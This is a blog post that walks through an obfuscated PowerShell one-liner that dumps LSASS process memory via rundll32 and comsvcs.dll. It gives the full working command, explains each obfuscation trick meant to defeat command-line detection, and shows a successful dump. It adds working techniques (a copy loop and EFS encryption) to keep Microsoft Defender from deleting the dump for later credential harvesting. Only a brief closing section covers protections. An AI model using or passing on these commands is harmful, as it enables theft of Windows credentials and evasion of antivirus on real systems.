Obfuscated LSASS dumper command

A quick walkthrough for a obfuscated PowerShell LSASS dump command via comsvcs.dll.

tl;dr

Malicious command detection for PowerShell is not easy. Pretty hard to tell, what the following command is going to do, huh?

&$env:???t??r???\*2\r[t-u]???[k-l]?2* $(gi $env:???t??r???\*2\c?m?[v-w]*l | % {
  $_.FullName }), `#-999999999999999999999999999999999999999999999999999999999999
  999999999999999999999999999999999999999999999999999999999999999999999999999999
  999999999999999999999999999999999999999999999999999999999999999999999999999999
  99999999999999999976-decoy $(gps l?a*s).id c:\t??p\dmp.log full;
  • Commands can contain $env variables
  • including wildcards for the path
  • functions of dlls can be called via the ordinal
  • ordinal can be in a negative form
  • Defender fails to delete dump via WebDAV
  • Defender fails to remove all dumps

Take me to the PoC

Introduction

After publishing the LSASS dump command in the last blogpost, some questions were asked. Yes, really somebody is reading the blog and asking questions about, yeay :)
So here is a quick walkthrough.

Details

To understand what is going on, we need to split this command.

&$env:???t??r???\*2\r[t-u]???[k-l]?2* $(gi $env:???t??r???\*2\c?m?[v-w]*l 
  | % { $_.FullName }), `#-9999999999999999999999999999999999999999999999999999999
  9999999999999999999999999999999999999999999999999999999999999999999999999999999
  9999999999999999999999999999999999999999999999999999999999999999999999999999999
  99999999999999999999976-decoy $(gps l?a*s).id c:\t??p\dmp.log full;

First part resolves to rundll32.exe via $env = C:\Windows. The “&” executes the binaries, if there would be more than one hit, it would run all of them.

ls "$env:???t??r???\*2\r[t-u]???[k-l]?2*"

    Verzeichnis: C:\Windows\System32

Mode                 LastWriteTime         Length Name                                                                                                                                                                               
----                 -------------         ------ ----                                                                                                                                                                               
-a----        05.02.2021     20:16          71680 rundll32.exe             

Another obfuscated variant: &${env:S????????T}$($env:L?????????R[$?])S??????2$($env:L?????????R[$?])r[t-u]???[k-l]?2* found here: https://twitter.com/_JohnHammond/status/1583212890529886208

Second we reference comsvcs.dll, the famous dll for memory dumps. We need the gi = Get-Item wrapped around as we need the full name of the binary.

 $(gi $env:???t??r???\*2\c?m?[v-w]*l | % { $_.FullName })
C:\Windows\System32\comsvcs.dll

So far we have C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, quite basic. Next part is a little bit tricky.
http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/
stated, that we can “overflow” the ordinal value and as the MiniDump function have a ordinal of 24 we can just use that big negative number. Additionally, non numbers are getting ignored, so we can fill up with some decoy at the end.

`#-9999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999999999999999999999999999999999999
99999976-decoy

To get the ordinal we can look up the PE export table with a tool like pe-bear. MiniDump ordinal in HEX

As a last step, we need the PID of the lsass.

 $(gps l?a*s).id
1164
 $(Get-Process lsass).id
1164

PoC

If we run the command in an admin PowerShell, we see that the lsass is indeed getting dumped. Dump the lsass

However, the defender is picking the dump up and deleting it.

Avoid deletion of LSASS Dump

As stated in the last blog post, there are some ways to prevent the defender from deleting the dump file, e.g. by using WebDAV or other file systems.

A really stupid variant is to copy the dump file, which will still trigger an alert, but keeps the copy for harvesting.

start-job { cd e:; while ($true) { cp dmp.log dmp.log2;}}

Copy the dump to “trick” Defender

Please Note, that this is technique is not 100% reliable, but worked like 90% during my tests. There are better options, but that’s a point for the next post.

Another possibility is to use the integrated encryption of files (EFS). Defender fails to delete the file then.

&$env:???t??r???\*2\r[t-u]???[k-l]?2* $(gi $env:???t??r???\*2\c?m?[v-w]*l | % {
  $_.FullName }), `#-999999999999999999999999999999999999999999999999999999999
  9999999999999999999999999999999999999999999999999999999999999999999999999999
  9999999999999999999999999999999999999999999999999999999999999999999999999999
  999999999999999999999999976-decoy $(gps l?a*s).id dmp.tmp full; Wait-Process
   -Id (Get-Process rundll32).id ; (Get-Item -Path E:\dmp.tmp).Encrypt();

Defender fails to delete the encypted file

We can then parse the dump with the typical tools offline, or directly via the parser from a college PowerExtract.
Note: You still need to move the file to somewhere “safe”, as the defender will detect the dump if you open the file.

Protection

RunAsPPL or CredentialGuard protects against this kind of lsass dumping attacks. Do not rely on PowerShell command line analysis for detection.

Links

Work and inspiration from others, thanks for that:

https://twitter.com/cyb3rops/status/1575389443241959424
https://twitter.com/_JohnHammond/status/1583212890529886208
https://twitter.com/cyb3rops/status/1468185710687567872
http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/ \